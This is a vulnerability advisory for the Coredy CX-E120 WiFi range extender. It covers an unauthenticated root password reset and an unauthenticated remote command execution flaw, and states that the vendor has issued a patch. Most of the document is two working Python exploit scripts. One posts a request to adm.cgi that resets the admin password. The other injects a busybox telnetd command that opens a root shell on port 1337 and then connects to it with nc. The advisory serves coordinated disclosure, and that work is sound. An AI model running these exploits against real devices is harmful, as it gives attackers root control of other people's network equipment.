SSD Advisory – Coredy CX-E120 Repeater Multiple Vulnerabilities

blogs.securiteam.com/index.php/archives/3556

Vulnerabilities Summary
The following advisory describes two (2) vulnerabilities found in Coredy CX-E120 Repeater.

The Coredy CX-E120 WiFi Range Extender is “a network device with multifunction, which can be using for increasing the distance of a WiFi network by boosting the existing WiFi signal and enhancing the overall signal quality over long distances. An extender repeats the signals from an existing WiFi router or access point.”

The vulnerabilities found are:

- Unauthenticated Root Password Reset
- Unauthenticated Remote Command Execution

Credit
An independent security researcher, Corben Douglas (@sxcurity), has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
Coredy has released patches to address these vulnerabilities (WN575A3-A-RPTA3-75W.M4300.01.GD.2017Nov22-WEBC.bin).

Vulnerabilities details
Unauthenticated Root Password Reset
An unauthenticated user is able to send a POST request to */cgi-bin/adm.cgi* which can then be used to reset the root password with parameter *page=sysAdm*, *username=*,
and the values of the new password: *newpass=* and *confpass=*.

Proof of Concept

```
#!/usr/bin/env python

import sys,requests, httplib

def main():
ip = sys.argv[1]
port = sys.argv[2]
user = sys.argv[3]
password = sys.argv[4]

target = ip+':'+port+'/cgi-bin/adm.cgi'
headers = {
'user-agent':'repeater-pwn',
'Content-Type':'application/x-www-form-urlencoded',
}
data = 'page=sysAdm&username='+user+'&newpass='+password+'&confpass='+password
req = requests.post(target,data,headers=headers)

try:
main()
except IndexError:
print("Usage: python "+sys.argv[0]+" http://<target> <port> admin newpassword")
except requests.exceptions.ChunkedEncodingError:
print("\n\033[92m[+] Attack Sent\033[0m\n\033[91m[+] Try login with new credentials\033[0m")
except httplib.IncompleteRead:
print("\n\033[92m[+] Attack Sent\033[0m\n\033[91m[+] Try login with new credentials\033[0m")
```

Remote Command Execution

An unauthenticated user is able to send a POST request to */cgi-bin/adm.cgi* with the following parameters: *page=sysCMD*, *SystemCommandSubmit=Apply*, and *command=* with the command you run to run. The input is passed as root cmd command for execution.

Proof of concept

```
#!/usr/bin/env python
import sys,os,requests
from lxml import html

def main():
ip = sys.argv[1]
prt = sys.argv[2]
cmd = '/bin/busybox telnetd -l/bin/sh -p1337'

target = 'http://'+ip+':'+prt+'/cgi-bin/adm.cgi'

payload = 'page=sysCMD&command='+cmd+'&SystemCommandSubmit=Apply'
headers = {
'User-Agent': 'repeater-pwn',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': 'http://'+ip+':'+prt+'/webcmd.shtml'
}

r = requests.post(target,data=payload, headers=headers)
final = requests.get(r.url)
#pwnd = html.fromstring(final.content)
#result = pwnd.xpath('//textarea/text()')
#print result
print "\n[+] ATTACK SENT"
print "[+] Attempted to spawn /bin/sh on port 1337...attempting to connect\n"
os.system("nc " +ip+ ' 1337')
try:
main()
except IndexError:
print("Usage: python "+sys.argv[0]+" <IP> <PORT>\n")
```